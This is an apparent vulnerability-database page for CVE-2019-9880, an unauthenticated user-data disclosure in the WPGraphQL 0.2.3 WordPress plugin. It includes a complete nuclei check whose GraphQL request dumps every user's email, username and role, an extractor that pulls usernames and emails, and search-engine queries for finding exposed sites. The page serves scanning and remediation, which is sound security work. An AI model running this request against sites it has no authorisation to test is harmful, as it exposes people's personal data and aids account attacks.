HexBrain

Browse / CVEs / CVE-2019-9880

CVE-2019-9880· wpengine / wpgraphql· CWE-306

WPEngine WPGraphQL 0.2.3 - Unauthenticated User Information Disclosure

criticalseverity
9.1CVSS score
34.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in the WPGraphQL 0.2.3 plugin for WordPress. By querying the 'users' RootQuery, it is possible, for an unauthenticated attacker, to retrieve all WordPress users details such as email address, role, and username.

Impact

An attacker can exploit this vulnerability to enumerate all WordPress users and extract sensitive information including email addresses, usernames, and user roles without authentication.

Fix

Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.

How to confirm it

Send: POST /graphql
Positive when: contains_all(body, "{\"data\":{", "\"name\":", "\"roles\":") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2019-9880 -u <target>

The full check
id: CVE-2019-9880

info:
  name: WPEngine WPGraphQL 0.2.3 - Unauthenticated User Information Disclosure
  author: intelligent-ears
  severity: critical
  description: |
    An issue was discovered in the WPGraphQL 0.2.3 plugin for WordPress. By querying the 'users' RootQuery, it is possible, for an unauthenticated attacker, to retrieve all WordPress users details such as email address, role, and username.
  impact: |
    An attacker can exploit this vulnerability to enumerate all WordPress users and extract sensitive information including email addresses, usernames, and user roles without authentication.
  remediation: |
    Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/153025/WordPress-WPGraphQL-0.2.3-Authentication-Bypass-Information-Disclosure.html
    - https://github.com/pentestpartners/snippets/blob/master/wp-graphql0.2.3_exploit.py
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-9880
    cwe-id: CWE-306
    epss-score: 0.34835
    epss-percentile: 0.98443
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-graphql/"
    publicwww-query: "/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,info-leak,vkev,vuln

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "query { users { nodes { id name email username roles } } }"}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "{\"data\":{", "\"name\":", "\"roles\":")
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and

    extractors:
      - type: json
        name: user-data
        json:
          - '.data.users.nodes[] | "username: " + .username + ", email: " + .email'

References

Use this check only on systems you are authorised to test. Where the data comes from